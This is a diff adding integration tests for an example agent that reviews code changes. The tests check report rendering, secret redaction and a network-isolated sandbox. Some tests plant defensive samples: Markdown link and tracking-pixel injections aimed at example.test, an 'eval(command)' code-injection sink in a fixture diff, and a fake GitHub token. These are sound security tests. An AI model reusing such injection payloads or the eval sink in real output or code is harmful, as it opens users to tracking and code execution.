+++ b/examples/skills_code_review_agent/tests/integration/test_real_model.py @@ -0,0 +1,138 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Explicit real-model integration and checked-in sample-output tests.""" + +from __future__ import annotations + +import json +import os +import subprocess +import sys +from pathlib import Path +from typing import Any + +import pytest + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +if str(PROJECT_ROOT) not in sys.path: + sys.path.insert(0, str(PROJECT_ROOT)) + +from code_review.model_environment import load_model_environment # noqa: E402 +from code_review.redaction import contains_plaintext_secret # noqa: E402 +from code_review.report import CanonicalReportWriter, MarkdownReportRenderer # noqa: E402 + + +_MODEL_KEYS = ("TRPC_AGENT_API_KEY", "TRPC_AGENT_BASE_URL", "TRPC_AGENT_MODEL_NAME") +_IDENTITY_FIELDS = ( + "severity", + "category", + "file", + "line", + "title", + "evidence", + "confidence", + "source", + "rule_id", + "bucket", + "dedup_key", +) + + +def _run_review(tmp_path: Path, *, model_mode: str, dry_run: bool) -> tuple[dict[str, Any], dict[str, Any]]: + """在隔离目录调用 CLI,并返回其安全摘要和 canonical JSON 报告。""" + + output_dir = tmp_path / model_mode + database = tmp_path / f"{model_mode}.db" + environment = os.environ.copy() + for key in _MODEL_KEYS: + environment.pop(key, None) + arguments = [ + sys.executable, + str(PROJECT_ROOT / "run_agent.py"), + "review", + "--fixture", + "02_security_simple", + "--sandbox", + "local", + "--model-mode", + model_mode, + "--output-dir", + str(output_dir), + "--db-url", + f"sqlite+pysqlite:///{database.as_posix()}", + ] + if dry_run: + arguments.append("--dry-run") + completed = subprocess.run( + arguments, + cwd=PROJECT_ROOT, + env=environment, + check=False, + capture_output=True, + encoding="utf-8", + text=True, + timeout=120, + ) + assert completed.returncode == 0, "real_model_cli_failed" + return ( + json.loads(completed.stdout), + json.loads((output_dir / "review_report.json").read_text(encoding="utf-8")), + ) + + +def _finding_identity(report: dict[str, Any]) -> list[dict[str, Any]]: + """提取冻结的 finding 身份字段,用于比较 fake 与 real 的检测结果。""" + + findings = [*report["findings"], *report["needs_human_review"]] + return [{field: finding[field] for field in _IDENTITY_FIELDS} for finding in findings] + + +@pytest.mark.real_llm +def test_explicit_real_model_loads_project_dotenv_and_preserves_deterministic_findings( + tmp_path: Path, +) -> None: + """验证真实模型仅在显式 real 模式读取项目 .env,且不改变确定性 finding。""" + + configuration = load_model_environment(PROJECT_ROOT / ".env", environ={}) + if not all(configuration.get(key) for key in _MODEL_KEYS): + pytest.skip("real_model_configuration_missing") + + real_summary, real_report = _run_review(tmp_path, model_mode="real", dry_run=False) + fake_summary, fake_report = _run_review(tmp_path, model_mode="fake", dry_run=True) + serialized_outputs = "\n".join( + ( + json.dumps(real_summary, ensure_ascii=False, sort_keys=True), + json.dumps(real_report, ensure_ascii=False, sort_keys=True), + ) + ) + + assert real_summary["status"] == "completed_with_warnings" + assert real_report["metrics"]["llm_duration_ms"] > 0 + assert "llm_enhancement_failed" not in {warning["code"] for warning in real_report["warnings"]} + assert _finding_identity(real_report) == _finding_identity(fake_report) + assert contains_plaintext_secret(real_report) is False + assert int(configuration["TRPC_AGENT_API_KEY"] in serialized_outputs) == 0 + + +def test_checked_in_sample_is_schema_valid_rendered_from_json_and_secret_free() -> None: + """验证提交的样例报告可通过 schema,Markdown 只由 JSON 渲染且不泄漏敏感信息。""" + + sample_dir = PROJECT_ROOT / "sample_output" + json_text = (sample_dir / "review_report.json").read_text(encoding="utf-8") + markdown_text = (sample_dir / "review_report.md").read_text(encoding="utf-8") + report = json.loads(json_text) + canonical = CanonicalReportWriter().validate(report) + + assert markdown_text == MarkdownReportRenderer().render(canonical) + assert contains_plaintext_secret(canonical) is False + assert contains_plaintext_secret(markdown_text) is False + assert canonical["metrics"]["tool_call_count"] == 2 + assert "\\\\" not in json_text + assert "\\\\" not in markdown_text diff --git a/examples/skills_code_review_agent/tests/integration/test_real_model_public_diagnostics.py b/examples/skills_code_review_agent/tests/integration/test_real_model_public_diagnostics.py new file mode 100644 index 000000000..c2efdbda8 --- /dev/null +++ b/examples/skills_code_review_agent/tests/integration/test_real_model_public_diagnostics.py @@ -0,0 +1,148 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""仅供维护者手动执行的真实模型公开响应诊断测试。""" + +from __future__ import annotations + +import json +import shutil +import sys +from pathlib import Path + +import pytest + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +if str(PROJECT_ROOT) not in sys.path: + sys.path.insert(0, str(PROJECT_ROOT)) + +from agent.agent import create_review_agent # noqa: E402 +from code_review.config import ReviewConfig # noqa: E402 +from code_review.inputs import FixturePayload # noqa: E402 +from code_review.model_environment import load_model_environment # noqa: E402 +from code_review.pipeline import ReviewPipeline # noqa: E402 +from code_review.redaction import contains_plaintext_secret # noqa: E402 +from code_review.sandbox import SdkSkillSandbox, create_sandbox_runtime # noqa: E402 +from code_review.store import SqlReviewStore # noqa: E402 +from run_agent import PipelineGovernance # noqa: E402 +from trpc_agent_sdk.models import OpenAIModel # noqa: E402 + + +_MODEL_KEYS = ("TRPC_AGENT_API_KEY", "TRPC_AGENT_BASE_URL", "TRPC_AGENT_MODEL_NAME") + + +def _docker_daemon_available() -> bool: + """探测 Docker daemon 是否可用于本次可选容器诊断,不创建容器或网络。""" + + executable = shutil.which("docker") + if executable is None: + return False + try: + import subprocess + + result = subprocess.run( + [executable, "version", "--format", "{{.Server.Version}}"], + check=False, + capture_output=True, + timeout=5, + ) + except (OSError, subprocess.TimeoutExpired): + return False + return result.returncode == 0 + + +def _diagnostic_payload( + *, + result: object, + public_messages: list[str], + tool_trace: tuple[str, ...], +) -> dict[str, object]: + """构造只含脱敏公开回复、工具序列和计数的终端诊断摘要,避免输出输入载荷或凭据。""" + + report = getattr(result, "report") + metrics = report["metrics"] + return { + "event": "real_model_public_diagnostic", + "sandbox": "container", + "status": getattr(result, "status"), + "tool_sequence": list(tool_trace), + "tool_call_count": metrics["tool_call_count"], + "llm_duration_ms": metrics["llm_duration_ms"], + "finding_count": metrics["finding_count"], + "model_public_messages": public_messages, + } + + +@pytest.mark.container +@pytest.mark.real_llm +def test_print_real_model_public_response_and_skill_tool_diagnostics(tmp_path: Path) -> None: + """调用真实模型和无网络容器,并仅打印模型公开回复及受控工具链的安全摘要。""" + + environment = load_model_environment(PROJECT_ROOT / ".env", environ={}) + if not all(environment.get(key) for key in _MODEL_KEYS): + pytest.skip("real_model_configuration_missing") + if not _docker_daemon_available(): + pytest.skip("container_runtime_unavailable") + + config = ReviewConfig() + selection = create_sandbox_runtime("container") + sandbox = SdkSkillSandbox(selection, PROJECT_ROOT / "skills" / "code-review", config=config) + store = SqlReviewStore(f"sqlite+pysqlite:///{(tmp_path / 'diagnostic.db').as_posix()}") + pipeline = ReviewPipeline( + store=store, + governance=PipelineGovernance( + selection=selection, + config=config, + workspace_root=tmp_path / "governance-workspace", + ), + sandbox=sandbox, + output_dir=tmp_path / "reports", + config=config, + model_mode="real", + model_environment=environment, + ) + model = OpenAIModel( + environment["TRPC_AGENT_MODEL_NAME"], + api_key=environment["TRPC_AGENT_API_KEY"], + base_url=environment["TRPC_AGENT_BASE_URL"], + ) + agent = create_review_agent( + pipeline=pipeline, + skill_root=PROJECT_ROOT / "skills", + model=model, + workspace_runtime=selection.runtime, + workspace_binder=sandbox, + ) + public_messages: list[str] = [] + container_client = selection.runtime.manager(None).container + try: + result = agent.review( + fixture=FixturePayload( + payload_type="diff", + diff_text=(PROJECT_ROOT / "tests" / "fixtures" / "diffs" / "02_security_simple.diff").read_text( + encoding="utf-8" + ), + ), + user_instruction="Use the code-review Skill for the approved review request.", + public_response_observer=public_messages.append, + ) + diagnostic = _diagnostic_payload( + result=result, + public_messages=public_messages, + tool_trace=agent.last_tool_trace, + ) + + assert result.status == "completed" + assert agent.last_tool_trace == ("skill_load", "skill_run") + assert public_messages + assert contains_plaintext_secret(diagnostic) is False + print("[real-model-diagnostic] " + json.dumps(diagnostic, ensure_ascii=False, sort_keys=True)) + finally: + store.close() + container_client._cleanup_container() diff --git a/examples/skills_code_review_agent/tests/integration/test_report.py b/examples/skills_code_review_agent/tests/integration/test_report.py new file mode 100644 index 000000000..9ef9722fb --- /dev/null +++ b/examples/skills_code_review_agent/tests/integration/test_report.py @@ -0,0 +1,275 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Integration tests for canonical report rendering and persistence payloads.""" + +from __future__ import annotations + +import json +import sys +from pathlib import Path + +import pytest + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +if str(PROJECT_ROOT) not in sys.path: + sys.path.insert(0, str(PROJECT_ROOT)) + +from code_review.report import ( # noqa: E402 + CanonicalReportWriter, + ReportSecretLeakError, + ReportWriteError, +) +from code_review.store import SqlReviewStore # noqa: E402 + + +def _finding(*, line: int, line_side: str, severity: str) -> dict[str, object]: + """构造符合报告 schema 的确定性 finding 测试数据。""" + + return { + "severity": severity, + "category": "secrets", + "file": "src/service.py", + "line": line, + "line_side": line_side, + "title": "轮换已提交的凭据", + "evidence": "credential=[REDACTED:github_pat]", + "recommendation": "立即轮换凭据并清理历史记录。", + "confidence": 0.95, + "source": "rule-engine", + "rule_id": "secrets.github-pat", + "bucket": "findings", + "dedup_key": f"src/service.py:{line}:secrets", + "extra": {"also_matched": []}, + } + + +def _report_payload() -> dict[str, object]: + """构造包含新旧侧位置和输入范围的最小完整报告。""" + + return { + "schema_version": "1.0.0", + "rule_pack_version": "1.0.0", + "config_digest": "b" * 64, + "input_sha256": "a" * 64, + "task_id": "report-task-001", + "status": "completed_with_warnings", + "input_summary": { + "source_kind": "diff_file", + "file_count": 2, + "hunk_count": 2, + "additions": 3, + "deletions": 1, + "files": [ + { + "path": "src/service.py", + "status": "modified", + "review_scope": "changed_lines", + }, + { + "path": "config/removed.env", + "status": "deleted", + "review_scope": "deleted_lines", + }, + ], + "parse_warnings": [], + }, + "findings": [ + _finding(line=8, line_side="new", severity="high"), + _finding(line=12, line_side="old", severity="medium"), + ], + "needs_human_review": [], + "warnings": [ + { + "code": "local_runtime", + "message": "本地运行时无法强制网络隔离。", + "stage": "sandbox", + } + ], + "suppressed": {"count": 1, "reasons": {"low_confidence": 1}}, + "filter_summary": { + "allow_count": 1, + "deny_count": 0, + "needs_human_review_count": 0, + "events": [], + }, + "sandbox_summary": {"runtime_type": "local", "run_count": 0, "runs": []}, + "metrics": { + "total_duration_ms": 25, + "sandbox_duration_ms": 0, + "llm_duration_ms": 0, + "tool_call_count": 1, + "sandbox_run_count": 0, + "filter_block_count": 0, + "filter_review_count": 0, + "finding_count": 2, + "warning_count": 1, + "needs_human_review_count": 0, + "suppressed_count": 1, + "severity_distribution": {"high": 1, "medium": 1}, + "category_distribution": {"secrets": 2}, + "error_type_distribution": {}, + "runtime_type": "local", + "python_version": "3.12", + "platform": "Windows", + }, + "final_conclusion": { + "summary": "发现需要处理的凭据风险。", + "recommendations": ["优先轮换已泄漏凭据。"], + }, + } + + +def _db_url(path: Path) -> str: + """返回隔离测试 SQLite 文件的 SQLAlchemy URL。""" + + return f"sqlite+pysqlite:///{path.as_posix()}" + + +def test_writer_validates_canonical_json_and_renders_line_sides(tmp_path: Path) -> None: + """验证报告写入器校验 JSON 并从同一对象渲染新旧侧位置。""" + + writer = CanonicalReportWriter() + result = writer.write(_report_payload(), tmp_path) + + report = json.loads(result.json_path.read_text(encoding="utf-8")) + markdown = result.markdown_path.read_text(encoding="utf-8") + + assert report["input_summary"]["source_kind"] == "diff_file" + assert "审查范围:changed_lines" in markdown + assert "新侧行 8" in markdown + assert "旧侧行 12" in markdown + assert all(f"## {number}." in markdown for number in range(1, 9)) + + +def test_writer_stably_renders_json_markdown_and_store_payload(tmp_path: Path) -> None: + """验证 JSON、Markdown 和 SQLite 统计均源自同一稳定报告对象。""" + + writer = CanonicalReportWriter() + output_dir = tmp_path / "output" + payload = _report_payload() + first = writer.write(payload, output_dir) + first_json = first.json_path.read_bytes() + first_markdown = first.markdown_path.read_bytes() + + payload["findings"].reverse() + payload["input_summary"]["files"].reverse() + second = writer.write(payload, output_dir) + + database = tmp_path / "review.db" + store = SqlReviewStore(_db_url(database)) + store.initialize() + store.create_task( + { + "id": second.report["task_id"], + "status": "running", + "input_type": "diff_file", + "input_ref": "changes.diff", + "diff_summary": {}, + "config": {"schema_version": "1.0.0"}, + } + ) + store.save_report(second.report["task_id"], writer.to_store_payload(payload)) + bundle = store.get_task_bundle(second.report["task_id"]) + store.close() + + assert second.json_path.read_bytes() == first_json + assert second.markdown_path.read_bytes() == first_markdown + assert bundle is not None + stored_report = bundle["report"]["report"] + assert stored_report == second.report + assert bundle["report"]["severity_stats"] == { + "schema_version": "1.0.0", + "high": 1, + "medium": 1, + } + assert "- high:1" in first_markdown.decode("utf-8") + + +def test_writer_renders_an_empty_finding_report(tmp_path: Path) -> None: + """验证没有正式 finding 时仍生成完整且可读的报告。""" + + payload = _report_payload() + payload["findings"] = [] + payload["needs_human_review"] = [] + payload["warnings"] = [] + payload["suppressed"] = {"count": 0, "reasons": {}} + payload["metrics"]["finding_count"] = 0 + payload["metrics"]["warning_count"] = 0 + payload["metrics"]["suppressed_count"] = 0 + payload["metrics"]["severity_distribution"] = {} + payload["metrics"]["category_distribution"] = {} + payload["final_conclusion"] = { + "summary": "未发现需要处理的问题。", + "recommendations": [], + } + + result = CanonicalReportWriter().write(payload, tmp_path) + markdown = result.markdown_path.read_text(encoding="utf-8") + + assert result.report["findings"] == [] + assert result.report["suppressed"]["count"] == 0 + assert markdown.count("- 无。") >= 4 + assert "未发现需要处理的问题。" in markdown + + +def test_writer_blocks_plaintext_before_any_report_output(tmp_path: Path) -> None: + """验证最终出口扫描阻止明文凭据写入 JSON 或 Markdown。""" + + plaintext = "ghp_" + "a" * 36 + payload = _report_payload() + payload["findings"][0]["evidence"] = plaintext + + with pytest.raises(ReportSecretLeakError) as error: + CanonicalReportWriter().write(payload, tmp_path) + + assert plaintext not in str(error.value) + assert not (tmp_path / "review_report.json").exists() + assert not (tmp_path / "review_report.md").exists() + + +def test_writer_failure_leaves_no_partial_target_file(tmp_path: Path) -> None: + """验证原子写入器失败时不会把半写报告暴露给调用方。""" + + def fail_before_replace(path: Path, _payload: bytes) -> None: + """模拟替换目标文件前的 I/O 错误。""" + + assert not path.exists() + raise OSError("synthetic write failure") + + writer = CanonicalReportWriter(atomic_writer=fail_before_replace) + + with pytest.raises(ReportWriteError): + writer.write(_report_payload(), tmp_path) + + assert not (tmp_path / "review_report.json").exists() + assert not (tmp_path / "review_report.md").exists() + + +def test_markdown_renderer_escapes_untrusted_finding_text( + tmp_path: Path, +) -> None: + """验证 diff 与 finding 文本不能注入链接、图片或原始 HTML。""" + + payload = _report_payload() + payload["input_summary"]["files"][0]["path"] = ( + "src/[label](https://example.test/a).py" + ) + payload["findings"][0]["file"] = "src/`name`[x](https://example.test).py" + payload["findings"][0]["title"] = "问题 ![pixel](https://example.test/p.png)" + payload["findings"][0]["evidence"] = "" + payload["findings"][0]["recommendation"] = "[click](https://example.test)" + + result = CanonicalReportWriter().write(payload, tmp_path) + markdown = result.markdown_path.read_text(encoding="utf-8") + + assert "![pixel](" not in markdown + assert " WorkspaceInfo: + """返回固定 workspace,避免测试创建真实容器或本机临时目录。""" + + return WorkspaceInfo(id=execution_id, path="/sandbox/workspace") + + async def cleanup(self, _execution_id: str, _ctx: Any = None) -> None: + """模拟 SDK 清理接口,当前 staging 场景不产生真实资源。""" + + +class _FakeFs: + """记录 SDK staging 调用,并模拟受控脚本内容的收集结果。""" + + def __init__( + self, + *, + drift: bool = False, + drift_path: str = "run_checks.py", + ) -> None: + """读取可信脚本内容,并可选择追加摘要漂移以覆盖失败关闭路径。""" + + self._drift = drift + self._drift_path = drift_path + self.stage_calls: list[tuple[str, str, Any]] = [] + self.put_files_calls = 0 + + async def stage_directory(self, _ws: WorkspaceInfo, src: str, dst: str, options: Any, _ctx: Any = None) -> None: + """记录 SDK 目录复制参数,供只读、copy 和最小目标路径断言。""" + + self.stage_calls.append((src, dst, options)) + + async def collect(self, _ws: WorkspaceInfo, patterns: list[str], _ctx: Any = None) -> list[CodeFile]: + """为 workspace 元数据和 run_checks 脚本返回最小可验证内容。""" + + if patterns == [".trpc_workspace.json"]: + return [] + if len(patterns) == 1 and patterns[0].startswith( + "skills/code-review/scripts/" + ): + relative_path = patterns[0].removeprefix( + "skills/code-review/scripts/" + ) + source_path = SKILL_ROOT / "scripts" / relative_path + if not source_path.is_file(): + return [] + content = source_path.read_text(encoding="utf-8") + if self._drift and relative_path == self._drift_path: + content += "\n# drift\n" + return [ + CodeFile( + name=patterns[0], + content=content, + mime_type="text/x-python", + ) + ] + return [] + + async def put_files(self, _ws: WorkspaceInfo, _files: list[Any], _ctx: Any = None) -> None: + """接收 SDK stager 的元数据写入,但不把数据落到宿主文件系统。""" + + self.put_files_calls += 1 + + +class _FakeRunner: + """响应 SDK stager 的只读辅助命令,不执行任意命令文本。""" + + def __init__(self) -> None: + """保存 SDK stager 发起的辅助运行规格,供只读权限断言使用。""" + + self.specifications: list[Any] = [] + + async def run_program(self, _ws: WorkspaceInfo, _spec: Any, _ctx: Any = None) -> WorkspaceRunResult: + """返回成功结果,让测试仅聚焦 stage 配置和摘要复验。""" + + self.specifications.append(_spec) + return WorkspaceRunResult(exit_code=0) + + +class _FakeRuntime: + """提供具备 SDK 方法形状的 fake runtime,避免依赖 Docker 或 Cube。""" + + def __init__(self, fs: _FakeFs) -> None: + """保存 fake filesystem、manager 和 runner 以供 repository/stager 协作调用。""" + + self._fs = fs + self._manager = _FakeManager() + self._runner = _FakeRunner() + + def fs(self, _ctx: Any = None) -> _FakeFs: + """返回记录 staging 行为的 fake filesystem。""" + + return self._fs + + def manager(self, _ctx: Any = None) -> _FakeManager: + """返回最小 workspace manager。""" + + return self._manager + + def runner(self, _ctx: Any = None) -> _FakeRunner: + """返回仅支持 stager 辅助操作的 fake runner。""" + + return self._runner + + +class _RunFs(_FakeFs): + """扩展 fake filesystem,以受控 findings 输出或输出截断模拟实际 collect_outputs。""" + + def __init__(self, *, limits_hit: bool = False) -> None: + """保存是否触发 SDK 输出收集上限,并复用可信 staged 脚本内容。""" + + super().__init__() + self._limits_hit = limits_hit + + async def collect_outputs(self, _ws: WorkspaceInfo, _spec: Any, _ctx: Any = None) -> ManifestOutput: + """返回最小 findings JSON 或 limits_hit,避免测试执行真实规则脚本。""" + + return ManifestOutput( + files=[ManifestFileRef(name="out/findings.json", content='{"findings": []}')], + limits_hit=self._limits_hit, + ) + + +class _RunRuntime(_FakeRuntime): + """允许为 SDK 沙箱端口注入 timeout 或 nonzero 的一次运行结果。""" + + def __init__(self, fs: _RunFs, result: WorkspaceRunResult) -> None: + """替换基础 fake runner 的返回值,以驱动失败即数据分支。""" + + super().__init__(fs) + self._run_result = result + + def runner(self, _ctx: Any = None) -> Any: + """返回带预设运行结果的最小 runner,仍支持 stager 的辅助调用。""" + + parent_runner = super().runner() + run_result = self._run_result + + class _Runner: + """在保留 stager 调用记录的同时返回测试指定的主执行结果。""" + + async def run_program(self, ws: WorkspaceInfo, spec: Any, ctx: Any = None) -> WorkspaceRunResult: + """对 bash stager 辅助命令成功返回,对固定 python3 命令返回预设结果。""" + + if spec.cmd == "bash": + return await parent_runner.run_program(ws, spec, ctx) + return run_result + + return _Runner() + + +def test_container_factory_defaults_to_verified_none_and_rejects_mount_or_override() -> None: + """容器工厂默认强制 network_mode=none,拒绝覆盖和宿主 bind 挂载。""" + + observed: dict[str, object] = {} + + def _container_factory(*, host_config: dict[str, object]) -> object: + """捕获工厂传入的最终 host config,不连接 Docker daemon。""" + + observed.update(host_config) + return object() + + selection = create_sandbox_runtime( + "container", + container_runtime_factory=_container_factory, + ) + + assert selection.runtime_type == "container" + assert selection.effective_network_mode == "none" + assert selection.network_policy_verified is True + assert observed == {"network_mode": "none"} + with pytest.raises(SandboxConfigurationError, match="network_mode"): + create_sandbox_runtime("container", host_config={"network_mode": "bridge"}) + with pytest.raises(SandboxConfigurationError, match="host_mount"): + create_sandbox_runtime("container", host_config={"Binds": ["host:container:rw"]}) + + +def test_stage_uses_sdk_skill_repository_copy_and_revalidates_digest() -> None: + """Skill 必须通过 SDK repository/stager 复制到固定目录并在 staging 后复验摘要。""" + + filesystem = _FakeFs() + runtime = _FakeRuntime(filesystem) + staged = asyncio.run( + stage_code_review_skill( + runtime, + WorkspaceInfo(id="task-stage", path="/sandbox/workspace"), + SKILL_ROOT, + ) + ) + + assert staged.workspace_skill_dir == "skills/code-review" + assert staged.entrypoint == "skills/code-review/scripts/run_checks.py" + assert len(filesystem.stage_calls) == 1 + source, destination, options = filesystem.stage_calls[0] + assert Path(source).resolve() == SKILL_ROOT.resolve() + assert destination == "skills/code-review" + assert options.mode == "copy" + assert options.read_only is False + assert options.allow_mount is False + assert filesystem.put_files_calls >= 1 + assert any("chmod a-w" in " ".join(spec.args) for spec in runtime.runner().specifications) + + with pytest.raises(SandboxStageError, match="staged_script_integrity_mismatch"): + asyncio.run( + stage_code_review_skill( + _FakeRuntime(_FakeFs(drift=True)), + WorkspaceInfo(id="task-drift", path="/sandbox/workspace"), + SKILL_ROOT, + ) + ) + with pytest.raises(SandboxStageError, match="staged_script_integrity_mismatch"): + asyncio.run( + stage_code_review_skill( + _FakeRuntime( + _FakeFs( + drift=True, + drift_path="lib/rules_security.py", + ) + ), + WorkspaceInfo( + id="task-dependency-drift", + path="/sandbox/workspace", + ), + SKILL_ROOT, + ) + ) + + +def test_budget_output_and_environment_limits_are_preflighted() -> None: + """预算、输出收集和环境变量均在执行前按锁定上限和白名单收敛。""" + + config = ReviewConfig() + budget = SandboxBudget(config) + reservation = budget.reserve(timeout_seconds=30, output_bytes=1024) + output = bounded_output("x" * 20, "", max_bytes=8) + environment = build_sandbox_environment() + output_spec = build_output_spec(config) + + assert reservation.run_number == 1 + assert output.truncated is True + assert len(output.stdout.encode("utf-8")) <= 8 + assert output_spec.max_files == 1 + assert output_spec.max_file_bytes == config.max_output_bytes_per_run + assert output_spec.max_total_bytes == config.max_output_bytes_per_run + assert set(environment) == {"LANG", "LC_ALL", "PYTHONUNBUFFERED"} + assert all("CANARY" not in name for name in environment) + with pytest.raises(SandboxBudgetExceeded, match="sandbox_run_budget_exceeded"): + for _ in range(config.max_sandbox_runs): + budget.reserve(timeout_seconds=1, output_bytes=1) + + time_budget = SandboxBudget(config) + for _ in range(3): + time_budget.reserve(timeout_seconds=30, output_bytes=1) + with pytest.raises(SandboxBudgetExceeded, match="sandbox_time_budget_exceeded"): + time_budget.reserve(timeout_seconds=1, output_bytes=1) + + output_budget = SandboxBudget(config) + output_budget.reserve(timeout_seconds=1, output_bytes=config.max_output_bytes_per_run) + output_budget.reserve(timeout_seconds=1, output_bytes=config.max_output_bytes_per_run) + with pytest.raises(SandboxBudgetExceeded, match="sandbox_review_output_budget_exceeded"): + output_budget.reserve(timeout_seconds=1, output_bytes=1) + + +def test_run_spec_and_timeout_capture_remain_bounded() -> None: + """固定 argv 必须携带每次超时;超时结果与超限输出应在宿主边界被收敛。""" + + config = ReviewConfig() + secret = "ghp_" + "a" * 36 + run_spec = build_run_spec( + StagedSkill( + workspace_skill_dir="skills/code-review", + entrypoint="skills/code-review/scripts/run_checks.py", + script_id="run_checks", + sha256="a" * 64, + ), + config, + ) + capture = capture_workspace_run( + WorkspaceRunResult( + stdout=secret + "y" * 20, + stderr="", + exit_code=0, + duration=0.031, + timed_out=True, + ), + max_output_bytes=32, + ) + + assert run_spec.cmd == "python3" + assert run_spec.args == ["scripts/run_checks.py"] + local_run_spec = build_run_spec( + StagedSkill( + workspace_skill_dir="skills/code-review", + entrypoint="skills/code-review/scripts/run_checks.py", + script_id="run_checks", + sha256="a" * 64, + ), + config, + python_executable="python", + use_workspace_root=True, + ) + assert local_run_spec.args == ["skills/code-review/scripts/run_checks.py"] + assert local_run_spec.cwd == "." + assert run_spec.timeout == config.per_run_timeout_seconds + assert set(run_spec.env) == {"LANG", "LC_ALL", "PYTHONUNBUFFERED"} + assert capture.timed_out is True + assert capture.output.truncated is True + assert capture.duration_ms == 31 + assert secret not in capture.output.stdout + + +def test_local_program_runner_removes_host_environment_values( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + """验证 local fallback 子进程只收到白名单和 SDK workspace 变量。""" + + monkeypatch.setenv( + "TRPC_AGENT_API_KEY", + "synthetic-canary-that-must-not-enter-the-child", + ) + workspace_path = tmp_path / "workspace" + workspace_path.mkdir() + runner = SanitizedLocalProgramRunner() + environment = runner._build_program_env( + WorkspaceInfo(id="local-environment", path=str(workspace_path)), + WorkspaceRunProgramSpec( + cmd=sys.executable, + args=("-c", "pass"), + env=build_sandbox_environment(), + ), + ) + + assert "TRPC_AGENT_API_KEY" not in environment + assert set(build_sandbox_environment()) <= set(environment) + assert all( + "synthetic-canary" not in value + for value in environment.values() + ) + + +def test_sandbox_budget_is_scoped_to_each_review_task() -> None: + """验证复用同一 Agent 沙箱时,不同 task 不会共享累计预算。""" + + runtime = _RunRuntime(_RunFs(), WorkspaceRunResult(exit_code=0)) + sandbox = SdkSkillSandbox( + SandboxRuntimeSelection(runtime, "local", None, False, True), + SKILL_ROOT, + ) + change_set = parse_unified_diff( + "diff --git a/src/a.py b/src/a.py\n" + "--- a/src/a.py\n" + "+++ b/src/a.py\n" + "@@ -1 +1 @@\n" + "-old\n" + "+new\n", + source_kind="fixture", + ) + + for index in range(4): + task_id = f"independent-review-{index}" + result = sandbox.execute( + task_id=task_id, + change_set=change_set, + config=ReviewConfig(), + ) + sandbox.cleanup(task_id=task_id) + assert result["status"] == "ok" + + +def test_sandbox_payload_preserves_repo_full_file_ast_context( + tmp_path: Path, +) -> None: + """验证 repo 增量输入进入沙箱后仍保留完整文件供 AST 规则分析。""" + + parsed = parse_unified_diff( + "diff --git a/src/service.py b/src/service.py\n" + "--- a/src/service.py\n" + "+++ b/src/service.py\n" + "@@ -2 +2 @@\n" + "- return command\n" + "+ return eval(command)\n", + source_kind="repo_path", + ) + full_text = "def execute(command):\n return eval(command)\n" + change_set = replace( + parsed, + files=( + replace( + parsed.files[0], + full_text=full_text, + analysis_mode="ast_validated", + ), + ), + ) + input_path = tmp_path / "diff.json" + input_path.write_bytes(change_set_payload(change_set)) + + restored = _load_change_set(input_path) + + assert restored.source_kind == "repo_path" + assert restored.files[0].full_text == full_text + assert restored.files[0].analysis_mode == "ast_validated" + + +@pytest.mark.parametrize( + ("run_result", "limits_hit", "expected_status", "expected_error"), + ( + (WorkspaceRunResult(exit_code=0, timed_out=True), False, "timeout", "timeout"), + (WorkspaceRunResult(exit_code=9), False, "failed", "nonzero_exit"), + (WorkspaceRunResult(exit_code=0), True, "error", "output_truncated"), + ), +) +def test_sdk_sandbox_converts_runtime_failures_to_structured_data( + run_result: WorkspaceRunResult, + limits_hit: bool, + expected_status: str, + expected_error: str, +) -> None: + """timeout、非零和输出截断都应返回脱敏结构化结果,而不是让评审链路崩溃。""" + + runtime = _RunRuntime(_RunFs(limits_hit=limits_hit), run_result) + sandbox = SdkSkillSandbox( + SandboxRuntimeSelection(runtime, "local", None, False, True), + SKILL_ROOT, + ) + change_set = parse_unified_diff( + "diff --git a/src/a.py b/src/a.py\n--- a/src/a.py\n+++ b/src/a.py\n@@ -1 +1 @@\n-old\n+new\n", + source_kind="fixture", + ) + + result = sandbox.execute(task_id="sandbox-failure", change_set=change_set, config=ReviewConfig()) + + assert result["status"] == expected_status + assert result["error_type"] == expected_error + assert result["findings"] == [] + + +def _docker_daemon_available() -> bool: + """仅探测 Docker daemon 可用性;该测试辅助函数不创建容器、镜像或网络。""" + + executable = shutil.which("docker") + if executable is None: + return False + try: + result = subprocess.run( + [executable, "version", "--format", "{{.Server.Version}}"], + check=False, + capture_output=True, + timeout=5, + ) + except (OSError, subprocess.TimeoutExpired): + return False + return result.returncode == 0 + + +def _container_db_url(path: Path) -> str: + """构造真实 container 验收专用的临时 SQLite URL,不写入业务数据库。""" + + return f"sqlite+pysqlite:///{path.as_posix()}" + + +@pytest.mark.container +@pytest.mark.parametrize( + "fixture_name", + ("02_security_simple", "08_secret_redaction_simple"), +) +def test_container_executes_fixture_with_verified_network_none( + fixture_name: str, + tmp_path: Path, +) -> None: + """在可用 Docker daemon 上执行两条真实 fixture,并验证容器实际网络模式为 none。""" + + if not _docker_daemon_available(): + pytest.skip("container_runtime_unavailable") + + config = ReviewConfig() + selection = create_sandbox_runtime("container") + sandbox = SdkSkillSandbox(selection, SKILL_ROOT, config=config) + store = SqlReviewStore(_container_db_url(tmp_path / "container-review.db")) + pipeline = ReviewPipeline( + store=store, + governance=PipelineGovernance( + selection=selection, + config=config, + workspace_root=tmp_path / "governance-workspace", + ), + sandbox=sandbox, + output_dir=tmp_path / "reports", + config=config, + task_id_factory=lambda: f"container-{fixture_name}", + ) + container_client = selection.runtime.manager(None).container + try: + result = pipeline.run( + fixture=FixturePayload( + payload_type="diff", + diff_text=(FIXTURE_DIR / f"{fixture_name}.diff").read_text(encoding="utf-8"), + ) + ) + bundle = store.get_task_bundle(result.task_id) + container = container_client.container + + assert container is not None + assert container.attrs["HostConfig"]["NetworkMode"] == "none" + assert bundle is not None + assert bundle["sandbox_runs"][0]["status"] == "ok" + assert result.json_path.is_file() + assert result.markdown_path.is_file() + assert not 